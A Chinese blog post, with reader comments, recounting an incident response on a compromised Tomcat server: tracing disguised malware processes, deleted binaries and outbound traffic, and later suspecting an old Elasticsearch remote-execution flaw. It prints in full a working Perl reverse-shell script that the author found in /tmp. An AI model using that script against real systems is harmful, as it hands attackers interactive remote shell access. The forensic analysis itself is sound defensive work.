一次tomcat服务器被挂马的解决经历
博客专区 > Feng_Yu 的博客 > 博客详情
一次tomcat服务器被挂马的解决经历
Feng_Yu 发表于3年前
一次tomcat服务器被挂马的解决经历
  • 发表于 3年前
  • 阅读 11063
  • 收藏 45
  • 点赞 4
  • 评论 20

腾讯云 新注册用户 域名抢购1元起>>>   

摘要: tomcat莫名其妙的被挂马了,虽然解决了,但是未能找到攻击途径,遗憾。

就在今天,我也遇到了传说中的服务器挂马事件,折腾了近一天最终解决了,遗憾的是未能抓到攻击途径。叙述一下这件事情的经过。

早上收到了一封来自于阿里云的邮件

尊敬的用户:
经检测您的云服务器(擦掉ip)存在恶意扫描,请您务必在12小时内处理,逾期未处理将禁止您服务器22、380、443、1314、3306、3433、3389、8080端口对外发包,并关停云服务器。关停后仅有一次机会自助解封,请您务必重视。感谢您的配合。 
请您尽快执行以下操作
1、病毒木马清理
请您使用杀毒软件进行病毒查杀,清理系统盘以及数据盘的木马或异常程序

2、开启云盾服务并实施安全防御方案
请您尽快开启云盾服务,开启步骤详见:http://help.aliyun.com/view/11108300_13444169.html
建议您实施安全防御方案,参考:http://help.aliyun.com/manual?spm=0.0.0.0.5TfSs4&helpId=2078

大致扫了一下,用了ps aux, netstat -anltp, htop这些命令看了一下,并未发现什么异常。于是给阿里云提ticket,问他们从哪些记录判断我的服务器有恶意扫描操作的。

他们给了一个日志,日志的记录大致是这样的:

222.216.190.83:80
222.216.190.83:80
222.216.190.83:80
......

发现有大量的向这个ip的80端口请求的记录。于是我上云盾看了下,发现服务器确实间歇性的高流量,而且是流出流量,很规律的波浪线,波峰都在3M左右,基本达到了服务器的带宽,感觉确实有问题了,静下心来再查。搞了将近一下午的时间,最终终于发现问题了。

找问题的曲折就不谈了(其实是没有处理这种问题的经验,瞎折腾,瞎忙活了半天,各种google,各种ls,各种ps,各种....),只写出最终发现问题的经过。

既然是流量出现异常,那么就检查流量把,于是nload, iftop这两条命令是最早用的,轮流上,但是发现流量一直很低,都准备放弃的时候,突然发现iftop显示TX的速率达到了2M,看来确实有问题!

事不宜迟,立刻netstat -anltp,无异常~

甚至连个80端口的tcp请求都没有(这里就是我一直被误导的地方了,下意识以为80端口是在请求http,应该是tcp协议,时间浪费在这里了。)但是神器iptraf让我发现了这个问题。

iptraf看一下流量监控,我的注意力其实一直集中在上面的tcp请求,下面的udp各种红字自然被忽略了。一直盯着上面的tcp在看,除了自己的ssh流量排第一之外,别的都没啥流量,没有异常,iftop依然显示当前的TX达到了2M。

这时候猛然注意力集中在了下面,因为下面不停的红色跳动数字引起的我的注意,原因找到了!我发现不停的有udp请求在跳,而且其中就有80端口和3137端口,就这两个端口的数据一直在跳,原来如此!就说怎么查不到,原来是udp在请求80端口!

既然是udp,于是netstat -anup,还好udp不多,一眼发现了问题!

 netstat -anup
激活Internet连接 (服务器和已建立连接的)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 10.160.28.187:123       0.0.0.0:*                           1759/ntpd       
udp        0      0 127.0.0.1:123           0.0.0.0:*                           1759/ntpd       
udp        0      0 0.0.0.0:123             0.0.0.0:*                           1759/ntpd       
udp        0 229632 0.0.0.0:57606           0.0.0.0:*                           22607/          
udp        0      0 0.0.0.0:47508           0.0.0.0:*                           26384/java      
udp6       0      0 :::123                  :::*                                1759/ntpd  

一个没有Program name的进程赫然出现了,可疑的不能再可疑了!话不多说,立马ps aux | grep 22607

 ps aux | grep 22607
root     16315  0.0  0.0   9816   928 pts/3    S+   18:41   0:00 grep --color=auto 22607
tomcat7  22607  0.1  0.0 349372   888 ?        Ssl  Jul16   3:29 [.ECC6DFE919A382]

pwdx 22607
22607: /var/lib/tomcat7

这样一来明了了,这个非常可疑的进程已经浮现了。一看用户名,tomcat7,以为是tomcat下部署的网站被挂马了,立马service tomcat7 stop。不起作用,进程还在,愣了一下,猛然想起来这个应该是以tomcat7用户身份运行的程序,而不是tomcat服务启动的进程。

kill 22067, iptraf消停了,udp的红字不再一直蹦个不停了。

但是这是一个不完美的解决过程。首先不明白*** [.ECC6DFE919A382]***这个到底是什么,怎样产生的,代表什么意思,为什么是中括号标注的进程,而不是一般看到的具体的进程名。

其次,最遗憾的是不知道挂马者的挂马途径,不知道这个进程到底是什么,到底做了什么事情。遗憾啊

后记:

又发现了好玩的东西,这个tomcat7用户居然还启动了其他可疑的[]进程

ps aux | grep tomcat
tomcat7  20092  0.0  0.0 349264   612 ?        Ssl  05:48   0:20 [freeBSD]

后记2: 昨天杀掉的进程,今天再次出现了

# ps aux | grep tomcat
tomcat7  16503  1.0 40.5 1552124 624712 ?      Sl   Jul17   8:57 /usr/lib/jvm/java-7-openjdk-amd64/bin/java -Djava.util.logging.config.file=/var/lib/tomcat7/conf/logging.properties -Djava.awt.headless=true -Xmx128m -XX:+UseConcMarkSweepGC -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms256m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=128m -XX:NewRatio=1 -Djava.endorsed.dirs=/usr/share/tomcat7/endorsed -classpath /usr/share/tomcat7/bin/bootstrap.jar:/usr/share/tomcat7/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat7 -Dcatalina.home=/usr/share/tomcat7 -Djava.io.tmpdir=/tmp/tomcat7-tomcat7-tmp org.apache.catalina.startup.Bootstrap start
tomcat7  20735  0.0  0.1   2684  2388 ?        S    07:55   0:00 /tmp/freeBSD /tmp/freeBSD 1
tomcat7  20739  0.0  0.0 349264   716 ?        Ssl  07:55   0:02 [.ECC6DFE919A382]
root     24576  0.0  0.0   9816   928 pts/2    S+   09:12   0:00 grep --color=auto tomcat

而/tmp下是没有freeBSD这个程序的,应该是启动后被删掉了。

ll /tmp
总用量 1240
drwxrwxrwt  8 root    root       4096  7月 18 09:17 ./
drwxr-xr-x 23 root    root       4096  7月 10 17:28 ../
-rw-r--r--  1 tomcat7 tomcat7       4  7月 12 01:36 12.txt
-rwxr-xr-x  1 tomcat7 tomcat7 1128784  7月 18 07:55 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0*
drwxr-xr-x  2 tomcat7 tomcat7    4096  7月 17 18:43 hsperfdata_tomcat7/
drwxr-xr-x  2 tomcat7 root       4096  7月 17 18:44 tomcat7-tomcat7-tmp/
-rw-r--r--  1 tomcat7 tomcat7     657  7月  6 05:41 zerl

tomcat7用户创建了一堆可疑的玩意,其中zerl是一个perl脚本

#!/usr/bin/perl -w

use strict; 
use Socket; 
use IO::Handle; 

if($#ARGV+1 != 2){ 
print "$#ARGV $0 Remote_IP Remote_Port \n"; 
exit 1; 
} 

my $remote_ip = $ARGV[0]; 
my $remote_port = $ARGV[1]; 

my $proto = getprotobyname("tcp"); 
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); 

my $shell = '/bin/bash -i'; 

socket(SOCK, AF_INET, SOCK_STREAM, $proto); 

STDOUT->autoflush(1); 
SOCK->autoflush(1); 

connect(SOCK,$pack_addr) or die "can not connect:$!"; 

open STDIN, "<&SOCK"; 
open STDOUT, ">&SOCK"; 
open STDERR, ">&SOCK"; 

print "Enjoy the shell.\n"; 

system($shell); 
close SOCK; 

exit 0;
 ll hsperfdata_tomcat7/
总用量 40
drwxr-xr-x 2 tomcat7 tomcat7  4096  7月 17 18:43 ./
drwxrwxrwt 8 root    root     4096  7月 18 09:17 ../
-rw------- 1 tomcat7 tomcat7 32768  7月 18 09:21 16503

cat 12.txt 
1233

凌乱了,完全不知道从哪里出了问题,这个程序到底在做什么?

此时想到/tmp/freeBSD,这个文件肯定有玄机,但是被删了,尝试lsof找回。

# lsof -p 20735
COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME
freeBSD 20735 tomcat7  cwd    DIR  202,1     4096  664470 /var/lib/tomcat7
freeBSD 20735 tomcat7  rtd    DIR  202,1     4096       2 /
freeBSD 20735 tomcat7  txt    REG  202,1  1128784 1048681 /tmp/freeBSD (deleted)
freeBSD 20735 tomcat7    0r   CHR    1,3      0t0    4848 /dev/null
freeBSD 20735 tomcat7    1w   CHR    1,3      0t0    4848 /dev/null
freeBSD 20735 tomcat7    2w   CHR    1,3      0t0    4848 /dev/null

ll /proc/20735/fd
总用量 0
dr-x------ 2 tomcat7 tomcat7  0  7月 18 07:56 ./
dr-xr-xr-x 8 tomcat7 tomcat7  0  7月 18 07:55 ../
lr-x------ 1 tomcat7 tomcat7 64  7月 18 07:56 0 -> /dev/null
l-wx------ 1 tomcat7 tomcat7 64  7月 18 07:56 1 -> /dev/null
l-wx------ 1 tomcat7 tomcat7 64  7月 18 07:56 2 -> /dev/null

日了,根本没有文件描述符占用,这挂马者是有多高端啊,根本不给留机会啊

这个就是那个现形的木马文件:

# lsof -p 20739
COMMAND     PID    USER   FD   TYPE   DEVICE SIZE/OFF    NODE NAME
.ECC6DFE9 20739 tomcat7  cwd    DIR    202,1     4096  664470 /var/lib/tomcat7
.ECC6DFE9 20739 tomcat7  rtd    DIR    202,1     4096       2 /
.ECC6DFE9 20739 tomcat7  txt    REG    202,1  1415201 1048671 /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0 (deleted)
.ECC6DFE9 20739 tomcat7  mem    REG    202,1  3337488 1185502 /usr/lib/locale/locale-archive
.ECC6DFE9 20739 tomcat7    0u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    1u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    2u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    3u  IPv4 10636902      0t0     TCP xxxxxxxxxxxx:58719->119.1.109.43:10991 (ESTABLISHED)

# file .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 
.ECC6DFE919A382BADRR1A8CDFC9FB43AA0: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

root@dunham:/tmp# du -sh .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 
1.1M	.ECC6DFE919A382BADRR1A8CDFC9FB43AA0

119.1.109.43这个ip指向了贵州的ip,不确定是不是挂马者。这个可疑进程一直在发起udp数据,连接几个固定ip的8888端口,不知道发送什么东西。

暂时放弃了,以我目前的水平实在是找不到挂马者的攻击途径,最终/tmp/freeBSD这个在我看来比较重要的文件没能恢复回来,也没找到webshell,不知道到底有没有webshell,如果有也不知道攻击者放在哪里了。删掉/tmp下所有的tomcat创建的文件,卸载tomcat,删掉war包和解包目录,重装tomcat,重新打war包发布了,以观后效。

重大发现,怀疑是elasticsearch的远程执行漏洞!正在尝试解决

标签: tomcat grails
共有 人打赏支持
粉丝 146
博文 38
码字总数 45477
评论 (20)
泡不烂的凉粉
被挂马了。 做 web 文件的校验。 排除掉安全的,找出被挂的内容。从日期上查日志, 找到连接时间比较长的访问地址。 分析被访问地址的代码。 慢慢找漏吧。
Feng_Yu

引用来自“泡不烂的凉粉”的评论

被挂马了。 做 web 文件的校验。 排除掉安全的,找出被挂的内容。从日期上查日志, 找到连接时间比较长的访问地址。 分析被访问地址的代码。 慢慢找漏吧。
请教一下,如果是web文件被挂马了,有可能会出现停掉tomcat之后,可疑进程依旧运行的情况吗?
Feng_Yu

引用来自“泡不烂的凉粉”的评论

被挂马了。 做 web 文件的校验。 排除掉安全的,找出被挂的内容。从日期上查日志, 找到连接时间比较长的访问地址。 分析被访问地址的代码。 慢慢找漏吧。
还有,通常web文件如果被挂马,那么是不会产生带有中括号这种进程的,应该是直接执行挂马文件,在ps中看到具体执行的这个进程。我已经查过了,中括号括起来的进程是内核进程或者未知进程,看不到参数和执行过程。挂马文件一般做不到这么牛逼吧,这个进程还是经过伪装过的,已经不知道执行的是什么了。更让我觉得发笑的是tomcat7用户居然创建了一个[freeBSD]进程,让我想到黑客也是这么有艺术的,难道是freeBSD的发烧者?
郭恩洲_OSC博客
高深
自由狼-台风
.
YoungJonathan
我的服务器也被挂了,木马种类和文件和你这个是一样的,我的系统是 CentOS 6.5 64. 是Linode的主机,现在还没有找到原因是怎么入侵进去的.
YoungJonathan
你可以把你系统的环境和你部署的东西,比如就部署tomcat之类的,能提供么,我的 没有部署tomcat,但是我的用户给了sudo 权限,他上传东西到/tmp/ 目录下后执行了,而且居然把东西放到了 /etc/目录下,是我的用户权限太搞了..我部署了nginx/php/mysql/redis/elasticsearch在服务器上.还找不到问题所在.
Feng_Yu

引用来自“YoungJonathan”的评论

你可以把你系统的环境和你部署的东西,比如就部署tomcat之类的,能提供么,我的 没有部署tomcat,但是我的用户给了sudo 权限,他上传东西到/tmp/ 目录下后执行了,而且居然把东西放到了 /etc/目录下,是我的用户权限太搞了..我部署了nginx/php/mysql/redis/elasticsearch在服务器上.还找不到问题所在.
我用的是ubuntu server,所有的软件基本都是软件源装的,apache,tomcat,mysql,mongodb,tomcat下部署的war包是grails程序,里面的确打包有elasticsearch插件,别的服务器都没有elasticsearch,只有这个war包里面有elasticsearch的jar
Feng_Yu

引用来自“YoungJonathan”的评论

你可以把你系统的环境和你部署的东西,比如就部署tomcat之类的,能提供么,我的 没有部署tomcat,但是我的用户给了sudo 权限,他上传东西到/tmp/ 目录下后执行了,而且居然把东西放到了 /etc/目录下,是我的用户权限太搞了..我部署了nginx/php/mysql/redis/elasticsearch在服务器上.还找不到问题所在.
已经让开发屏蔽掉elasticsearch这个插件了,暂时观察一下。
Feng_Yu

引用来自“YoungJonathan”的评论

你可以把你系统的环境和你部署的东西,比如就部署tomcat之类的,能提供么,我的 没有部署tomcat,但是我的用户给了sudo 权限,他上传东西到/tmp/ 目录下后执行了,而且居然把东西放到了 /etc/目录下,是我的用户权限太搞了..我部署了nginx/php/mysql/redis/elasticsearch在服务器上.还找不到问题所在.
更新了,有新进展
泡不烂的凉粉
tomcat7 不熟悉, 应该是利用 web 漏洞, 获得了一个低权限的 执行权限。 身份 tomcat7.
获取途径很可能是 web 程序上的漏洞。
首先确定一下系统的时钟有没有被动过。 这点很重要。 之后做一下 web 文件的校验。 找一下可以进程的启动时间。 找漏是很有意思的事。 如果时间允许, 多找找。 做一个简单的进程检测脚本。 发现可疑进程生成赶快进去瞧瞧。
Feng_Yu

引用来自“泡不烂的凉粉”的评论

tomcat7 不熟悉, 应该是利用 web 漏洞, 获得了一个低权限的 执行权限。 身份 tomcat7.
获取途径很可能是 web 程序上的漏洞。
首先确定一下系统的时钟有没有被动过。 这点很重要。 之后做一下 web 文件的校验。 找一下可以进程的启动时间。 找漏是很有意思的事。 如果时间允许, 多找找。 做一个简单的进程检测脚本。 发现可疑进程生成赶快进去瞧瞧。
我也想啊,可惜时间不允许了,上面催着把这个报警先解除了,不然阿里云就要关停服务器了。所以我把tomcat和部署的网站全删了,删掉了释放的木马文件,重新安装tomcat,重新部署war包,观察了两天,这个可疑程序没有再启动过,所以至今怎么入侵的仍然是个谜。
SongSJun
我也遇到同样问题,楼主可以看下nginx或者apache的访问log,会发现入侵路径,是利用struts2的一个漏洞进入的,升级到最近即可解决
xxrenzhe11
就是Elasticsearch的远程执行漏洞,在版本1.2之前ES的远程脚本执行功能是默认开启的,所以极易被利用,在配置文件中设置script.disable_dynamic: true禁用此功能即可,或者升级至ES 1.2版本以上
jack.geng
我也遇到了同样的问题,,大家把详细的过程贴出来吧??
jack.geng
杀掉进程,,把PERL删除,,TOMCAT没有改,,每天凌晨会重启。
jack.geng

引用来自“xxrenzhe11”的评论

就是Elasticsearch的远程执行漏洞,在版本1.2之前ES的远程脚本执行功能是默认开启的,所以极易被利用,在配置文件中设置script.disable_dynamic: true禁用此功能即可,或者升级至ES 1.2版本以上
我的java没有用这个啊,,请详细解释一下?!!谢谢
jack.geng

引用来自“泡不烂的凉粉”的评论

tomcat7 不熟悉, 应该是利用 web 漏洞, 获得了一个低权限的 执行权限。 身份 tomcat7.
获取途径很可能是 web 程序上的漏洞。
首先确定一下系统的时钟有没有被动过。 这点很重要。 之后做一下 web 文件的校验。 找一下可以进程的启动时间。 找漏是很有意思的事。 如果时间允许, 多找找。 做一个简单的进程检测脚本。 发现可疑进程生成赶快进去瞧瞧。

引用来自“Feng_Yu”的评论

我也想啊,可惜时间不允许了,上面催着把这个报警先解除了,不然阿里云就要关停服务器了。所以我把tomcat和部署的网站全删了,删掉了释放的木马文件,重新安装tomcat,重新部署war包,观察了两天,这个可疑程序没有再启动过,所以至今怎么入侵的仍然是个谜。
我用的TOMCAT7 杀掉进程,,把PERL删除,,TOMCAT没有改,,每天凌晨会重启
streetrust
1.查进程启动的程序
2.查找定时任务(有时不放在系统默认目录下)
3.清理除自己以外的登陆用户身份
4.把不用的端口都关闭
Feng_Yu

引用来自“streetrust”的评论

1.查进程启动的程序
2.查找定时任务(有时不放在系统默认目录下)
3.清理除自己以外的登陆用户身份
4.把不用的端口都关闭
已经确定是老版本的ES的远程执行漏洞
×
Feng_Yu
如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!
* 金额(元)
¥1 ¥5 ¥10 ¥20 其他金额
打赏人
留言
* 支付类型
微信扫码支付
打赏金额:
已支付成功
打赏金额: